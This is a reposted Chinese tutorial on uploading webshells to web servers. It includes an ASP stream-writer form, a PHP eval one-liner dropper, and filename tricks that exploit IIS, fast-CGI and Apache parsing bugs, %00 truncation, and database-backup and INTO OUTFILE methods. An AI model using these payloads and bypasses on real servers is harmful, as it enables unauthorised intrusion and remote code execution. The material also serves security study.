webshell上傳


服務器配置

<form action=http://主機路徑/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")//建立流對象
lP.Open //打開
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字體標准
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //將木馬內容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式
lP.Close //關閉對象
set lP=nothing //釋放對象
response.redirect "newmm.asp" //轉向newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木馬的內容)
</textarea>
<BR>
<center>

<input type=submit value=提交>
這里通過提交表單的方式,將木馬提交上去,具體的做法是將定義一個對象IP,然后以文本方式寫入newvalue里面的內容
(newvalue的內容在textarea定義),寫入以覆蓋的方式產生ASP文件,然后執行這個腳本。
其中客戶端中的value代表的是表單的名字,必須跟服務端(本機)的post提交中的表單名一樣,
所以這里的value可以為任意字符,相當於一個密碼之類的東西,但是這個‘密碼’是明文的,可以截取下來。

PHP的一句話原理跟以上的原理差不多,就是語言的差別導致語法不同。這就是小馬的基本工作原理。
大馬的工作模式簡單的多,他沒有客戶端與服務端的區別,就是一些腳本大牛直接把一句話木馬的服務端整合到了一起,
通過上傳漏洞將大馬上傳,然后復制該大馬的url地址直接訪問,在頁面上執行對web服務器的滲透工作。
但是有些網站對上傳文件做了嚴格的限制,因為大馬的功能較多,所以體積相對較大,很有可能超出了網站上傳限制,
但是小馬的體積可以控制(比如把代碼復制很多遍,或者在一個亂碼文件中夾入代碼),但是小馬操作起來比較繁瑣,
可以先上傳小馬拿到webshell,然后通過小馬的連接上傳大馬拿到服務器。

解析漏洞上傳

對於不同的web服務器系統對應的有不同的web服務端程序,windows端主流的有iis,linux端主流的有nginx。
這些服務對搭建web服務器提供了很大的幫助,同樣也對服務器帶來隱患,這些服務器上都存在一些漏洞,很容易被黑客利用。

  1. iis目錄解析漏洞
/xx.asp/xx.jpg

雖然上傳的是JPG文件,但是如果該文件在xx.asp文件夾下,那個iis會把這個圖片文件當成xx.asp解析,這個漏洞存在於iis5.x/6.0版本。
  1. 文件解析漏洞
xx.asp;.jpg

在網頁上傳的時候識別的是jpg文件,但是上傳之后iis不會解析;之后的字符,同樣會把該文件解析成asp文件,這個漏洞存在於iis5.x/6.0版本。
  1. 文件名解析
xx.cer/xx.cdx/xx.asa

在iis6.0下,cer文件,cdx文件,asa文件都會被當成可執行文件,里面的asp代碼也同樣會執行(其中asa文件是asp特有的配置文件,cer為證書文件)。
  1. fast-CGI解析漏洞
在web服務器開啟fast-CGI的時候,上傳圖片xx.jpg。

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

這里使用的fput創建一個shell.php文件,並寫入一句話。
訪問路徑xx.jpg/.php,就會在該路徑下生成一個一句話木馬shell.php。
這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。
語言環境:PHP,prel,Bourne Shell,C等語言。

*注:fast-CGI是CGI的升級版,CGI指的是在服務器上提供人機交互的接口,fast-CGI是一種常駐型的CGI。
因為CGI每次執行時候,都需要用fork啟用一個進程,但是fast-CGI屬於激活后就一直執行,不需要每次請求都fork一個進程。比普通的CGI占的內存少。
  1. apache解析漏洞
apache解析的方式是從右向左解析,如果不能解析成功,就會向左移動一個,但是后台上傳通常是看上傳文件的最右的一個后綴。
所以根據這個,可以將木馬命名為xx.php.rar,因為apache解析不了rar,所以將其解析為php,但是后台上傳點就將其解析為rar,這樣就繞過了上傳文件后綴限制。

截斷上傳

在上傳圖片的時候,比如命名1.asp .jpg(asp后面有個空格),在上傳的時候,用NC或者burpsuite抓到表單,將上傳名asp后面加上%00
(在burpsuite里面可以直接編輯HEX值,空格的HEX值為20,將20改為00),如果HEX為00的時候表示截斷,20表示空格.
如果表示截斷的時候就為無視腳本中的JPG驗證語句,直接上傳ASP。

后台數據庫備份

在一些企業的后台管理系統中,里面有一項功能是備份數據庫(比如南方cms里面就有備份數據庫的功能)。
可以上傳一張圖片,圖片里面含有一句話木馬,或者將大馬改成jpg格式,
然后用數據庫備份功能,將這張圖片備份為asp等其他內容可以被解析為腳本語句的格式,
然后再通過web訪問就可以執行木馬了,但是這種方法很老了,現在大多數的cms已經把這種備份的功能取消了,或者禁用了。

利用數據庫語句上傳

  1. mysql數據庫into outfile
這種方式的前提必須是該網站有相應的注入點,而且當前用戶必須要有上傳的權限,而且必須有當前網頁在服務器下的絕對路徑。
方法是用聯合查詢,將一句話木馬導入到網站下邊的一個php文件中去,然后使用服務端連接該網站。但是上述方法條件過於苛刻,一般遇到的情況很少。
  1. 建立新表寫入木馬
一些開源cms或者自制的webshell會有數據庫管理功能,
在數據庫管理功能里面有sql查詢功能,
先使用create table shell(codetext);
創建一個名字叫做shell的表,表里面有列明叫做code,類型為text。
然后使用insert into shell(code) values(‘一句話馬’),
這里講shell表中的code列賦值為一句話的馬,然后通過自定義備份,
將該表備份為x.php;x然后就被解析成為php然后執行了,這里不是x.php;
x就一定能夠解析為php,不同的web服務器上面的服務程序不同,
然后過濾規則也不同,可能會使用其他的方式。
  1. phpMyadmin設置錯誤
phpMyadmin用來管理網站數據庫的一個工具,其中config.inc.php為其配置文件.
在查看的該文件的時候,如果$cfg[‘Servers’][$i][‘auth_type’]參數的值設置沒有設置(默認為config)
說明在登陸數據庫的時候沒有做相應的驗證,可以直接連入數據庫,
而且在Mysql在一些版本下面默認登陸都是以root用戶進行登陸(即管理員),所以登陸進去為最大權限。
但是root一般只能本地登陸,所以必須創建一個遠程登陸用戶。
用遠程登陸用戶登陸之后,創建一個表,然后再將一句話木馬寫入。

筆記來源於:https://blog.csdn.net/qq_42357070/article/details/82881393


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM